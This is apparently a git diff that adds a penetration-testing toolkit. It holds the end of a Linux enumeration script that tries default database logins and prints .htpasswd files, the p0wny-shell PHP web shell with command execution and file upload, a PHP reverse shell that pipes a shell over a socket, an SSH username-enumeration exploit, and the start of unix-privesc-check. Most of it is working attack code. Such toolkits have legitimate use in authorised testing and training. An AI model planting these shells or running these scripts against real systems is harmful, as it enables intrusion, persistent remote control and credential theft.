+lse_run_tests_software() { + lse_header "sof" "software" + + #checks to see if root/root will get us a connection + lse_test "sof000" "0" \ + "Can we connect to MySQL with root/root credentials?" \ + 'mysqladmin -uroot -proot version' + + #checks to see if we can connect as root without password + lse_test "sof010" "0" \ + "Can we connect to MySQL as root without password?" \ + 'mysqladmin -uroot version' + + #checks to see if we can connect to postgres templates without password + lse_test "sof020" "0" \ + "Can we connect to PostgreSQL template0 as postgres and no pass?" \ + 'psql -U postgres template0 -c "select version()" | grep version' + lse_test "sof020" "0" \ + "Can we connect to PostgreSQL template1 as postgres and no pass?" \ + 'psql -U postgres template1 -c "select version()" | grep version' + lse_test "sof020" "0" \ + "Can we connect to PostgreSQL template0 as psql and no pass?" \ + 'psql -U pgsql template0 -c "select version()" | grep version' + lse_test "sof020" "0" \ + "Can we connect to PostgreSQL template1 as psql and no pass?" \ + 'psql -U pgsql template1 -c "select version()" | grep version' + + #installed apache modules + lse_test "sof030" "1" \ + "Installed apache modules" \ + 'apache2ctl -M; httpd -M' + + #find htpassword files + lse_test "sof040" "0" \ + "Found any .htpasswd files?" \ + 'find / -name "*.htpasswd" -print -exec cat {} \;' + + #sudo version - check to see if there are any known vulnerabilities with this + lse_test "sof500" "2" \ + "Sudo version" \ + 'sudo -V | grep "Sudo version"' + + #mysql details - if installed + lse_test "sof510" "2" \ + "MySQL version" \ + 'mysql --version' + + #postgres details - if installed + lse_test "sof520" "2" \ + "Postgres version" \ + 'psql -V' + + #apache details - if installed + lse_test "sof530" "2" \ + "Apache version" \ + 'apache2 -v; httpd -v' +} + + +###################################################################( containers +lse_run_tests_containers() { + lse_header "ctn" "containers" + + #check to see if we are in a docker container + lse_test "ctn000" "1" \ + "Are we in a docker container?" \ + 'grep -i docker /proc/self/cgroup; find / -name "*dockerenv*" -exec ls -la {} \;' + + #check to see if current host is running docker services + lse_test "ctn010" "1" \ + "Is docker available?" \ + 'docker --version; docker ps -a' + + #is user a member of the docker group + lse_test "ctn020" "0" \ + "Is the user a member of the 'docker' group?" \ + 'groups | grep -o docker' + + #check to see if we are in an lxc container + lse_test "ctn200" "1" \ + "Are we in a lxc container?" \ + 'grep -a container=lxc /proc/1/environ | tr -d "\0"' + + #is user a member of any lxd/lxc group + lse_test "ctn210" "0" \ + "Is the user a member of any lxc/lxd group?" \ + 'groups | grep "lxc\|lxd"' +} +# +##) + +#( Main +while getopts "hcil:s:" option; do + case "${option}" in + c) lse_color=false;; + i) lse_interactive=false;; + l) lse_set_level "${OPTARG}";; + s) lse_selection="${OPTARG//,/ }";; + h) lse_help; exit 0;; + *) lse_help; exit 1;; + esac +done + +#trap to exec on SIGINT +trap "lse_exit 1" SIGINT + +lse_request_information +lse_show_info +PATH="$PATH:/sbin:/usr/sbin" #fix path just in case + +lse_run_tests_users +lse_run_tests_sudo +lse_run_tests_filesystem +lse_run_tests_system +lse_run_tests_security +lse_run_tests_recurrent_tasks +lse_run_tests_network +lse_run_tests_services +lse_run_tests_processes +lse_run_tests_software +lse_run_tests_containers + +lse_exit 0 +#) diff --git a/p0wny-shell.php b/p0wny-shell.php new file mode 100644 index 0000000..8d395bf --- /dev/null +++ b/p0wny-shell.php @@ -0,0 +1,460 @@ +&1)?$/", $cmd)) { + chdir($cwd); + preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match); + chdir($match[1]); + } elseif (preg_match("/^\s*download\s+[^\s]+\s*(2>&1)?$/", $cmd)) { + chdir($cwd); + preg_match("/^\s*download\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match); + return featureDownload($match[1]); + } else { + chdir($cwd); + exec($cmd, $stdout); + } + + return array( + "stdout" => $stdout, + "cwd" => getcwd() + ); +} + +function featurePwd() { + return array("cwd" => getcwd()); +} + +function featureHint($fileName, $cwd, $type) { + chdir($cwd); + if ($type == 'cmd') { + $cmd = "compgen -c $fileName"; + } else { + $cmd = "compgen -f $fileName"; + } + $cmd = "/bin/bash -c \"$cmd\""; + $files = explode("\n", shell_exec($cmd)); + return array( + 'files' => $files, + ); +} + +function featureDownload($filePath) { + $file = @file_get_contents($filePath); + if ($file === FALSE) { + return array( + 'stdout' => array('File not found / no read permission.'), + 'cwd' => getcwd() + ); + } else { + return array( + 'name' => basename($filePath), + 'file' => base64_encode($file) + ); + } +} + +function featureUpload($path, $file, $cwd) { + chdir($cwd); + $f = @fopen($path, 'wb'); + if ($f === FALSE) { + return array( + 'stdout' => array('Invalid path / no write permission.'), + 'cwd' => getcwd() + ); + } else { + fwrite($f, base64_decode($file)); + fclose($f); + return array( + 'stdout' => array('Done.'), + 'cwd' => getcwd() + ); + } +} + +if (isset($_GET["feature"])) { + + $response = NULL; + + switch ($_GET["feature"]) { + case "shell": + $cmd = $_POST['cmd']; + if (!preg_match('/2>/', $cmd)) { + $cmd .= ' 2>&1'; + } + $response = featureShell($cmd, $_POST["cwd"]); + break; + case "pwd": + $response = featurePwd(); + break; + case "hint": + $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']); + break; + case 'upload': + $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']); + } + + header("Content-Type: application/json"); + echo json_encode($response); + die(); +} + +?> + + + + + + p0wny@shell:~# + + + + + + + +
+
+                
+            
+
+ +
+ +
+
+
+ + + diff --git a/php-reverse-shell.php b/php-reverse-shell.php new file mode 100644 index 0000000..e05ff35 --- /dev/null +++ b/php-reverse-shell.php @@ -0,0 +1,189 @@ + array("pipe", "r"), // stdin is a pipe that the child will read from + 1 => array("pipe", "w"), // stdout is a pipe that the child will write to + 2 => array("pipe", "w") // stderr is a pipe that the child will write to +); + +$process = proc_open($shell, $descriptorspec, $pipes); + +if (!is_resource($process)) { + printit("ERROR: Can't spawn shell"); + exit(1); +} + +// Set everything to non-blocking +// Reason: Occsionally reads will block, even though stream_select tells us they won't +stream_set_blocking($pipes[0], 0); +stream_set_blocking($pipes[1], 0); +stream_set_blocking($pipes[2], 0); +stream_set_blocking($sock, 0); + +printit("Successfully opened reverse shell to $ip:$port"); + +while (1) { + // Check for end of TCP connection + if (feof($sock)) { + printit("ERROR: Shell connection terminated"); + break; + } + + // Check for end of STDOUT + if (feof($pipes[1])) { + printit("ERROR: Shell process terminated"); + break; + } + + // Wait until a command is end down $sock, or some + // command output is available on STDOUT or STDERR + $read_a = array($sock, $pipes[1], $pipes[2]); + $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); + + // If we can read from the TCP socket, send + // data to process's STDIN + if (in_array($sock, $read_a)) { + if ($debug) printit("SOCK READ"); + $input = fread($sock, $chunk_size); + if ($debug) printit("SOCK: $input"); + fwrite($pipes[0], $input); + } + + // If we can read from the process's STDOUT + // send data down tcp connection + if (in_array($pipes[1], $read_a)) { + if ($debug) printit("STDOUT READ"); + $input = fread($pipes[1], $chunk_size); + if ($debug) printit("STDOUT: $input"); + fwrite($sock, $input); + } + + // If we can read from the process's STDERR + // send data down tcp connection + if (in_array($pipes[2], $read_a)) { + if ($debug) printit("STDERR READ"); + $input = fread($pipes[2], $chunk_size); + if ($debug) printit("STDERR: $input"); + fwrite($sock, $input); + } +} + +fclose($sock); +fclose($pipes[0]); +fclose($pipes[1]); +fclose($pipes[2]); +proc_close($process); + +// Like print, but does nothing if we've daemonised ourself +// (I can't figure out how to redirect STDOUT like a proper daemon) +function printit ($string) { + if (!$daemon) { + print "$string\n"; + } +} + +?> diff --git a/pspy64 b/pspy64 new file mode 100755 index 0000000..2dad834 Binary files /dev/null and b/pspy64 differ diff --git a/ssh-check-username.py b/ssh-check-username.py new file mode 100755 index 0000000..e246540 --- /dev/null +++ b/ssh-check-username.py @@ -0,0 +1,87 @@ +#!/usr/bin/python3 +import multiprocessing +import threading +import time +import os +import argparse +import logging +import paramiko +import socket +import sys +import pdb + +arg_parser = argparse.ArgumentParser() +arg_parser.add_argument('-t',dest='hostname', type=str, help='Single target') +arg_parser.add_argument('-p',dest='port', type=int, default=22, help='port to connect on: Default port is 22') +arg_parser.add_argument('-u',dest='username', type=str, help='username you want to enumerate') +arg_parser.add_argument('-w',dest='wordlist', help='enumerate multiple users') +args = arg_parser.parse_args() +port = args.port +target = args.hostname + +class InvalidUsername(Exception): + pass + + +def add_boolean(*args, **kwargs): + pass + + +old_service_accept = paramiko.auth_handler.AuthHandler._handler_table[ + paramiko.common.MSG_SERVICE_ACCEPT] + +def service_accept(*args, **kwargs): + paramiko.message.Message.add_boolean = add_boolean + return old_service_accept(*args, **kwargs) + + +def userauth_failure(*args, **kwargs): + raise InvalidUsername() + + +def _paramiko_tunnel(username, *args, **kwargs): + sock = socket.socket() + sock.connect((target, port)) + us = username.strip() + try: + transport = paramiko.transport.Transport(sock) + except socket.error: + print ('[-] Failed to connect') + return + try: + transport.start_client() + except paramiko.ssh_exception.SSHException: + print ('[-] Failed to negotiate SSH transport') + return + try: + transport.auth_publickey(us, paramiko.RSAKey.generate(2048)) + except InvalidUsername: + print ('[*] {} - Invalid username'.format(us)) + except paramiko.ssh_exception.AuthenticationException: + print ('[+] {} - Valid username'.format(us)) + return + + +paramiko.auth_handler.AuthHandler._handler_table.update({ + paramiko.common.MSG_SERVICE_ACCEPT: service_accept, + paramiko.common.MSG_USERAUTH_FAILURE: userauth_failure +}) + +logging.getLogger('paramiko.transport').addHandler(logging.NullHandler()) + +if args.username is not None: + username = args.username + _paramiko_tunnel(target, port, username) + +if args.wordlist is not None: + usernames = [] + mp = [] + pool = multiprocessing.Pool(5) + with open(args.wordlist) as f: + for u in f: + usernames.append(u) + pool.map(_paramiko_tunnel, usernames) + + + + diff --git a/unix-privesc-check.sh b/unix-privesc-check.sh new file mode 100755 index 0000000..18ef5c2 --- /dev/null +++ b/unix-privesc-check.sh @@ -0,0 +1,1086 @@ +#!/bin/sh +# unix-privesc-check - Checks Unix system for simple privilege escalations +# Copyright (C) 2008 pentestmonkey@pentestmonkey.net +# +# +# License +# ------- +# This tool may be used for legal purposes only. Users take full responsibility +# for any actions performed using this tool. The author accepts no liability +# for damage caused by this tool. If you do not accept these condition then +# you are prohibited from using this tool. +# +# In all other respects the GPL version 2 applies: +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License version 2 as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License along +# with this program; if not, write to the Free Software Foundation, Inc., +# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. +# +# You are encouraged to send comments, improvements or suggestions to +# me at pentestmonkey@pentestmonkey.net +# +# +# Description +# ----------- +# Auditing tool to check for weak file permissions and other problems that +# may allow local attackers to escalate privileges. +# +# It is intended to be run by security auditors and pentetration testers +# against systems they have been engaged to assess, and also by system +# admnisitrators who want to check for "obvious" misconfigurations. It +# can even be run as a cron job so you can check regularly for misconfigurations +# that might be introduced. +# +# Ensure that you have the appropriate legal permission before running it +# someone else's system. +# +# TODO List +# --------- +# There's still plenty that this script doesn't do... +# - Doesn't work for shell scripts! These appear as "/bin/sh my.sh" in the process listing. +# This script only checks the perms of /bin/sh. Not what we're after. :-( +# - Similarly for perl scripts. Probably python, etc. too. +# - Check /proc/pid/cmdline for absolute path names. Check security of these (e.g. /etc/snmp/snmpd.conf) +# - Check everything in root's path - how to find root's path? +# - /proc/pid/maps, smaps are readable and lists some shared objects. We should check these. +# - /proc/pid/fd contain symlinks to all open files (but you can't see other people FDs) +# - check for trust relationships in /etc/hosts.equiv +# - NFS imports / exports / automounter +# - Insecure stuff in /etc/fstab (e.g. allowing users to mount file systems) +# - Inspecting people's PATH. tricky. maybe read from /proc/pid/environ, .bashrc, /etc/profile, .bash_profile +# - Check if /etc/init.d/* scripts are readable. Advise user to audit them if they are. +# - .exrc? +# - X11 trusts, apache passwd files, mysql trusts? +# - Daemons configured in an insecure way: tftpd, sadmind, rexd +# - World writable dirs aren't as bad if the sticky bit is set. Check for this before reporting vulns. +# - Maybe do a strings of binaries (and their .so's?) +# - Do a better job of parsing cron lines - search for full paths +# - Maybe LDPATHs from /etc/env.d +# - Check if ldd, ld.so.conf changes have broken this script on non-linux systems. +# - Avoid check certain paths e.g. /-/_ clearly isn't a real directory. +# - create some sort of readable report +# - indicate when it's likely a result is a false positive and when it's not. +# - Skip pseudo processes e.g. [usb-storage] +# - File permission on kernel modules +# - Replace calls to echo with a my_echo func. Should be passed a string and an "importance" value: +# - my_echo 1 "This is important and should always be printed out" +# - my_echo 2 "This is less important and should only be printed in verbose mode" +# - We check some files / dirs multiple times. Slow. Can we implement a cache? +# - grep for PRIVATE KEY to find private ssh and ssl keys. Where to grep? +# - check SGID programs + +VERSION="1.4" +HOME_DIR_FILES=".netrc .ssh/id_rsa .ssh/id_dsa .rhosts .shosts .my.cnf .ssh/authorized_keys .bash_history .sh_history .forward" +CONFIG_FILES="/etc/passwd /etc/group /etc/master.passwd /etc/inittab /etc/inetd.conf /etc/xinetd.con /etc/xinetd.d/* /etc/contab /etc/fstab /etc/profile /etc/sudoers" +PGDIRS="/usr/local/pgsql/data ~postgres/postgresql/data ~postgres/data ~pgsql/data ~pgsql/pgsql/data /var/lib/postgresql/data /etc/postgresql/8.2/main /var/lib/pgsql/data" + +get_owner () { + GET_OWNER_FILE=$1 + GET_OWNER_RETURN=`ls -lLd "$GET_OWNER_FILE" | awk '{print $3}'` +} + +get_group () { + GET_GROUP_FILE=$1 + GET_GROUP_RETURN=`ls -lLd "$GET_GROUP_FILE" | awk '{print $4}'` +} + +usage () { + echo "unix-privesc-check v$VERSION ( http://pentestmonkey.net/tools/unix-privesc-check )" + echo + echo "Usage: unix-privesc-check { standard | detailed }" + echo + echo '"standard" mode: Speed-optimised check of lots of security settings.' + echo + echo '"detailed" mode: Same as standard mode, but also checks perms of open file' + echo ' handles and called files (e.g. parsed from shell scripts,' + echo ' linked .so files). This mode is slow and prone to false ' + echo ' positives but might help you find more subtle flaws in 3rd' + echo ' party programs.' + echo + echo "This script checks file permissions and other settings that could allow" + echo "local users to escalate privileges." + echo + echo "Use of this script is only permitted on systems which you have been granted" + echo "legal permission to perform a security assessment of. Apart from this " + echo "condition the GPL v2 applies." + echo + echo "Search the output for the word 'WARNING'. If you don't see it then this" + echo "script didn't find any problems." + echo +} + +banner () { + echo "Starting unix-privesc-check v$VERSION ( http://pentestmonkey.net/tools/unix-privesc-check )" + echo + echo "This script checks file permissions and other settings that could allow" + echo "local users to escalate privileges." + echo + echo "Use of this script is only permitted on systems which you have been granted" + echo "legal permission to perform a security assessment of. Apart from this " + echo "condition the GPL v2 applies." + echo + echo "Search the output below for the word 'WARNING'. If you don't see it then" + echo "this script didn't find any problems." + echo +} + +MODE="standard" + +if [ ! "$MODE" = "standard" ] && [ ! "$MODE" = "detailed" ]; then + usage + exit 0 +fi + +# Parse any full paths from $1 (config files, progs, dirs). +# Check the permissions on each of these. +check_called_programs () { + CCP_MESSAGE_STACK=$1 + CCP_FILE=$2 + CCP_USER=$3 + CCP_PATH=$4 # optional + + # Check the perms of the supplied file regardless + # The caller doesn't want to have to call check_perms as well as check_called_programs + check_perms "$CCP_MESSAGE_STACK" "$CCP_FILE" "$CCP_USER" "$CCP_PATH" + + # Skip the slow check if we're in quick mode + if [ "$MODE" = "standard" ]; then + return 0; + fi + + # Check if file is text or not + IS_TEXT=`file "$CCP_FILE" | grep -i text` + IS_DYNBIN=`file "$CCP_FILE" | grep -i 'dynamically linked'` + + # Process shell scripts (would also work on config files that reference other files) + if [ ! -z "$IS_TEXT" ]; then + # Parse full paths from file - ignoring commented lines + CALLED_FILES=`grep -v '^#' "$CCP_FILE" | sed -e 's/^[^\/]*//' -e 's/["'\'':}$]/\x0a/g' | grep '/' | sed -e 's/[ \*].*//' | grep '^/[a-zA-Z0-9_/-]*$' | sort -u` + for CALLED_FILE in $CALLED_FILES; do + # echo "$CCP_FILE contains a reference to $CALLED_FILE. Checking perms." + check_perms "$CCP_MESSAGE_STACK $CCP_FILE contains the string $CALLED_FILE." "$CALLED_FILE" "$CCP_USER" "$CCP_PATH" + done + else + # Process dynamically linked binaries + if [ ! -z "$IS_DYNBIN" ]; then + + CALLED_FILES=`ldd "$CCP_FILE" 2>/dev/null | grep '/' | sed 's/[^\/]*\//\//' | cut -f 1 -d ' '` + for CALLED_FILE in $CALLED_FILES; do + check_perms "$CCP_MESSAGE_STACK $CCP_FILE uses the library $CALLED_FILE." "$CALLED_FILE" "$CCP_USER" "$CCP_PATH" + done + + # Strings binary to look for hard-coded config files + # or other programs that might be called. + for CALLED_FILE in `strings "$CCP_FILE" | sed -e 's/^[^\/]*//' -e 's/["'\'':}$]/\x0a/g' | grep '/' | sed -e 's/[ \*].*//' | grep '^/[a-zA-Z0-9_/-]*$' | sort -u`; do + check_perms "$CCP_MESSAGE_STACK $CCP_FILE contains the string $CALLED_FILE." "$CALLED_FILE" "$CCP_USER" "$CCP_PATH" + done + fi + fi +} + +# Parse any full paths from $1 (config files, progs, dirs). +# Check the permissions on each of these. +check_called_programs_suid () { + CCP_FILE=$1 + CCP_PATH=$2 # optional + + get_owner $CCP_FILE; CCP_USER=$GET_OWNER_RETURN + CCP_MESSAGE_STACK="$CCP_FILE is SUID $CCP_USER." + LS=`ls -l $CCP_FILE` + echo "Checking SUID-$CCP_USER program $CCP_FILE: $LS" + + # Don't check perms of executable itself + # check_perms "$CCP_MESSAGE_STACK" "$CCP_FILE" "$CCP_USER" "$CCP_PATH" + + # Check if file is text or not + IS_TEXT=`file "$CCP_FILE" | grep -i text` + IS_DYNBIN=`file "$CCP_FILE" | grep -i 'dynamically linked'` + + # Process shell scripts (would also work on config files that reference other files) + if [ ! -z "$IS_TEXT" ]; then + # Skip the slow check if we're in quick mode + if [ "$MODE" = "standard" ]; then + return 0; + fi + + # Parse full paths from file - ignoring commented lines + CALLED_FILES=`grep -v '^#' "$CCP_FILE" | sed -e 's/^[^\/]*//' -e 's/["'\'':}$]/\x0a/g' | grep '/' | sed -e 's/[ \*].*//' | grep '^/[a-zA-Z0-9_/-]*$' | sort -u` + for CALLED_FILE in $CALLED_FILES; do + # echo "$CCP_FILE contains a reference to $CALLED_FILE. Checking perms." + check_perms "$CCP_MESSAGE_STACK $CCP_FILE contains the string $CALLED_FILE." "$CALLED_FILE" "$CCP_USER" "$CCP_PATH" + done + else + # Process dynamically linked binaries + if [ ! -z "$IS_DYNBIN" ]; then + + CALLED_FILES=`ldd "$CCP_FILE" 2>/dev/null | grep '/' | sed 's/[^\/]*\//\//' | cut -f 1 -d ' '` + for CALLED_FILE in $CALLED_FILES; do + check_perms "$CCP_MESSAGE_STACK $CCP_FILE uses the library $CALLED_FILE." "$CALLED_FILE" "$CCP_USER" "$CCP_PATH" + done + + # Skip the slow check if we're in quick mode + if [ "$MODE" = "standard" ]; then + return 0; + fi + + # Strings binary to look for hard-coded config files + # or other programs that might be called. + for CALLED_FILE in `strings "$CCP_FILE" | sed -e 's/^[^\/]*//' -e 's/["'\'':}$]/\x0a/g' | grep '/' | sed -e 's/[ \*].*//' | grep '^/[a-zA-Z0-9_/-]*$' | sort -u`; do + check_perms "$CCP_MESSAGE_STACK $CCP_FILE contains the string $CALLED_FILE." "$CALLED_FILE" "$CCP_USER" "$CCP_PATH" + done + fi + fi +} + +# Check if $1 can be changed by users who are not $2 +check_perms () { + CP_MESSAGE_STACK=$1 + CHECK_PERMS_FILE=$2 + CHECK_PERMS_USER=$3 + CHECK_PERMS_PATH=$4 # optional + + if [ ! -f "$CHECK_PERMS_FILE" ] && [ ! -d "$CHECK_PERMS_FILE" ] && [ ! -b "$CHECK_PERMS_FILE" ]; then + CHECK_PERMS_FOUND=0 + if [ ! -z "$CHECK_PERMS_PATH" ]; then + # Look for it in the supplied path + for DIR in `echo "$CHECK_PERMS_PATH" | sed 's/:/ /g'`; do + if [ -f "$DIR/$CHECK_PERMS_FILE" ]; then + CHECK_PERMS_FOUND=1 + CHECK_PERMS_FILE="$DIR/$CHECK_PERMS_FILE" + break + fi + done + fi + + #if [ "$CHECK_PERMS_FOUND" = "0" ]; then + # echo "ERROR: File $CHECK_PERMS_FILE doesn't exist. Checking parent path anyway." + # # return 0 + # fi + fi + + C=`echo "$CHECK_PERMS_FILE" | cut -c 1` + if [ ! "$C" = "/" ]; then + echo "ERROR: Can't find absolute path for $CHECK_PERMS_FILE. Skipping." + return 0 + fi + + echo " Checking if anyone except $CHECK_PERMS_USER can change $CHECK_PERMS_FILE" + + while [ -n "$CHECK_PERMS_FILE" ]; do + perms_secure "$CP_MESSAGE_STACK" $CHECK_PERMS_FILE $CHECK_PERMS_USER + CHECK_PERMS_FILE=`echo $CHECK_PERMS_FILE | sed 's/\/[^\/]*$//'` + done +} + +# Check if $1 can be read by users who are not $2 +check_read_perms () { + CP_MESSAGE_STACK=$1 + CHECK_PERMS_FILE=$2 + CHECK_PERMS_USER=$3 + + if [ ! -f "$CHECK_PERMS_FILE" ] && [ ! -b "$CHECK_PERMS_FILE" ]; then + echo "ERROR: File $CHECK_PERMS_FILE doesn't exist" + return 0 + fi + + echo " Checking if anyone except $CHECK_PERMS_USER can read file $CHECK_PERMS_FILE" + + perms_secure_read "$CP_MESSAGE_STACK" "$CHECK_PERMS_FILE" "$CHECK_PERMS_USER" +} + +perms_secure_read () { + PS_MESSAGE_STACK=$1 + PERMS_SECURE_FILE=$2 + PERMS_SECURE_USER=$3 + + if [ ! -b "$PERMS_SECURE_FILE" ] && [ ! -f "$PERMS_SECURE_FILE" ] && [ ! -d "$PERMS_SECURE_FILE" ]; then + echo "ERROR: No such file or directory: $PERMS_SECURE_FILE. Skipping." + return 0 + fi + + # Check if owner is different (but ignore root ownership, that's OK) + only_user_can_read "$PS_MESSAGE_STACK" $PERMS_SECURE_FILE $PERMS_SECURE_USER + + # Check group read perm (but ignore root group, that's OK) + group_can_read "$PS_MESSAGE_STACK" $PERMS_SECURE_FILE $PERMS_SECURE_USER + + # Check world read perm + world_can_read "$PS_MESSAGE_STACK" $PERMS_SECURE_FILE +} + +perms_secure () { + PS_MESSAGE_STACK=$1 + PERMS_SECURE_FILE=$2 + PERMS_SECURE_USER=$3 + + if [ ! -d "$PERMS_SECURE_FILE" ] && [ ! -f "$PERMS_SECURE_FILE" ] && [ ! -b "$PERMS_SECURE_FILE" ]; then + # echo "ERROR: No such file or directory: $PERMS_SECURE_FILE. Skipping." + return 0 + fi + + # Check if owner is different (but ignore root ownership, that's OK) + only_user_can_write "$PS_MESSAGE_STACK" $PERMS_SECURE_FILE $PERMS_SECURE_USER + + # Check group write perm (but ignore root group, that's OK) + group_can_write "$PS_MESSAGE_STACK" $PERMS_SECURE_FILE $PERMS_SECURE_USER + + # Check world write perm + world_can_write "$PS_MESSAGE_STACK" $PERMS_SECURE_FILE +} + +only_user_can_write () { + O_MESSAGE_STACK=$1 + O_FILE=$2 + O_USER=$3 + + # We just need to check the owner really as the owner + # can always grant themselves write access + get_owner $O_FILE; O_FILE_USER=$GET_OWNER_RETURN + if [ ! "$O_USER" = "$O_FILE_USER" ] && [ ! "$O_FILE_USER" = "root" ]; then + echo "WARNING: $O_MESSAGE_STACK The user $O_FILE_USER can write to $O_FILE" + fi +} + +group_can_write () { + O_MESSAGE_STACK=$1 + O_FILE=$2 + O_USER=$3 # ignore group write access $3 is only member of group + + get_group $O_FILE; O_FILE_GROUP=$GET_GROUP_RETURN + P=`ls -lLd $O_FILE | cut -c 6` + if [ "$P" = "w" ] && [ ! "$O_GROUP" = "root" ]; then + # check the group actually has some members other than $O_USER + group_has_other_members "$O_FILE_GROUP" "$O_USER"; # sets OTHER_MEMBERS to 1 or 0 + if [ "$OTHER_MEMBERS" = "1" ]; then + echo "WARNING: $O_MESSAGE_STACK The group $O_FILE_GROUP can write to $O_FILE" + fi + fi +} + +group_has_other_members () { + G_GROUP=$1 + G_USER=$2 + + # If LDAP/NIS is being used this script can't check group memberships + # we therefore assume the worst. + if [ "$EXT_AUTH" = 1 ]; then + OTHER_MEMBERS=1 + return 1 + fi + + GROUP_LINE=`grep "^$G_GROUP:" /etc/group` + MEMBERS=`echo "$GROUP_LINE" | cut -f 4 -d : | sed 's/,/ /g'` + + GID=`echo "$GROUP_LINE" | cut -f 3 -d :` + EXTRA_MEMBERS=`grep "^[^:]*:[^:]*:[0-9]*:$GID:" /etc/passwd | cut -f 1 -d : | xargs echo` + + for M in $MEMBERS; do + if [ ! "$M" = "$G_USER" ] && [ ! "$M" = "root" ]; then + OTHER_MEMBERS=1 + return 1 + fi + done + + for M in $EXTRA_MEMBERS; do + if [ ! "$M" = "$G_USER" ] && [ ! "$M" = "root" ]; then + OTHER_MEMBERS=1 + return 1 + fi + done + + OTHER_MEMBERS=0 + return 0 +} + +world_can_write () { + O_MESSAGE_STACK=$1 + O_FILE=$2 + + P=`ls -lLd $O_FILE | cut -c 9` + S=`ls -lLd $O_FILE | cut -c 10` + + if [ "$P" = "w" ]; then + if [ "$S" = "t" ]; then + echo "WARNING: $O_MESSAGE_STACK World write is set for $O_FILE (but sticky bit set)" + else + echo "WARNING: $O_MESSAGE_STACK World write is set for $O_FILE" + fi + fi +} + +only_user_can_read () { + O_MESSAGE_STACK=$1 + O_FILE=$2 + O_USER=$3 + + # We just need to check the owner really as the owner + # can always grant themselves read access + get_owner $O_FILE; O_FILE_USER=$GET_OWNER_RETURN + if [ ! "$O_USER" = "$O_FILE_USER" ] && [ ! "$O_FILE_USER" = "root" ]; then + echo "WARNING: $O_MESSAGE_STACK The user $O_FILE_USER can read $O_FILE" + fi +} + +group_can_read () { + O_MESSAGE_STACK=$1 + O_FILE=$2 + O_USER=$3 + + get_group $O_FILE; O_FILE_GROUP=$GET_GROUP_RETURN + P=`ls -lLd $O_FILE | cut -c 5` + if [ "$P" = "r" ] && [ ! "$O_GROUP" = "root" ]; then + # check the group actually has some members other than $O_USER + group_has_other_members "$O_FILE_GROUP" "$O_USER"; # sets OTHER_MEMBERS to 1 or 0 + if [ "$OTHER_MEMBERS" = "1" ]; then + echo "WARNING: $O_MESSAGE_STACK The group $O_FILE_GROUP can read $O_FILE" + fi + fi +} + +world_can_read () { + O_MESSAGE_STACK=$1 + O_FILE=$2 + + P=`ls -lLd $O_FILE | cut -c 8` + + if [ "$P" = "w" ]; then + echo "WARNING: $O_MESSAGE_STACK World read is set for $O_FILE" + fi +} + +section () { + echo + echo '############################################' + echo $1 + echo '############################################' +} + +# Guess OS +if [ -x /usr/bin/showrev ]; then + OS="solaris" + SHADOW="/etc/shadow" +elif [ -x /usr/sbin/sam -o -x /usr/bin/sam ]; then + OS="hpux" + SHADOW="/etc/shadow" +elif [ -f /etc/master.passwd ]; then + OS="bsd" + SHADOW="/etc/master.passwd" +else + OS="linux" + SHADOW="/etc/shadow" +fi +echo "Assuming the OS is: $OS" +CONFIG_FILES="$CONFIG_FILES $SHADOW" + +# Set path so we can access usual directories. HPUX and some linuxes don't have sbin in the path. +PATH=$PATH:/usr/bin:/bin:/sbin:/usr/sbin; export PATH + +# Check dependent programs are installed +# Assume "which" is installed! +PROGS="ls awk grep cat mount xargs file ldd strings" +for PROG in $PROGS; do + which $PROG 2>&1 > /dev/null + if [ ! $? = "0" ]; then + echo "ERROR: Dependend program '$PROG' is mising. Can't run. Sorry!" + exit 1 + fi +done + +banner + +section "Recording hostname" +hostname + +section "Recording uname" +uname -a + +section "Recording Interface IP addresses" +if [ $OS = 'hpux' ]; then + for IFACE in `lanscan | grep x | awk '{print $5}' 2>/dev/null`; do + ifconfig $IFACE 2>/dev/null + done +else + ifconfig -a +fi + +section "Checking if external authentication is allowed in /etc/passwd" +FLAG=`grep '^+:' /etc/passwd` +if [ -n "$FLAG" ]; then + echo "WARNING: /etc/passwd allows external authentcation:" + grep '^+:' /etc/passwd + EXT_AUTH=1 +else + echo "No +:... line found in /etc/passwd" +fi + +section "Checking nsswitch.conf for addition authentication methods" +if [ -r "/etc/nsswitch.conf" ]; then + NIS=`grep '^passwd' /etc/nsswitch.conf | grep 'nis'` + if [ -n "$NIS" ]; then + echo "WARNING: NIS is used for authentication on this system" + EXT_AUTH=1 + fi + LDAP=`grep '^passwd' /etc/nsswitch.conf | grep 'ldap'` + if [ -n "$LDAP" ]; then + echo "WARNING: LDAP is used for authentication on this system" + EXT_AUTH=1 + fi + + if [ -z "$NIS" ] && [ -z "$LDAP" ]; then + echo "Neither LDAP nor NIS are used for authentication" + fi +else + echo "ERROR: File /etc/nsswitch.conf isn't readable. Skipping checks." +fi + +# Check important config files aren't writable +section "Checking for writable config files" +for FILE in $CONFIG_FILES; do + if [ -f "$FILE" ]; then + check_perms "$FILE is a critical config file." "$FILE" root + fi +done + +section "Checking if $SHADOW is readable" +check_read_perms "/etc/shadow holds authentication data" $SHADOW root + +section "Checking for password hashes in /etc/passwd" +FLAG=`grep -v '^[^:]*:[x\*]*:' /etc/passwd | grep -v '^#'` +if [ -n "$FLAG" ]; then + echo "WARNING: There seem to be some password hashes in /etc/passwd" + grep -v '^[^:]*:[x\*]*:' /etc/passwd | grep -v '^#' + EXT_AUTH=1 +else + echo "No password hashes found in /etc/passwd" +fi + +section "Checking account settings" +# Check for something nasty like r00t::0:0::/:/bin/sh in /etc/passwd +# We only need read access to /etc/passwd to be able to check this. +if [ -r "/etc/passwd" ]; then + OPEN=`grep "^[^:][^:]*::" /etc/passwd | cut -f 1 -d ":"` + if [ -n "$OPEN" ]; then + echo "WARNING: The following accounts have no password:" + grep "^[^:][^:]*::" /etc/passwd | cut -f 1 -d ":" + fi +fi +if [ -r "$SHADOW" ]; then + echo "Checking for accounts with no passwords" + if [ "$OS" = "linux" ]; then + passwd -S -a | while read LINE + do + 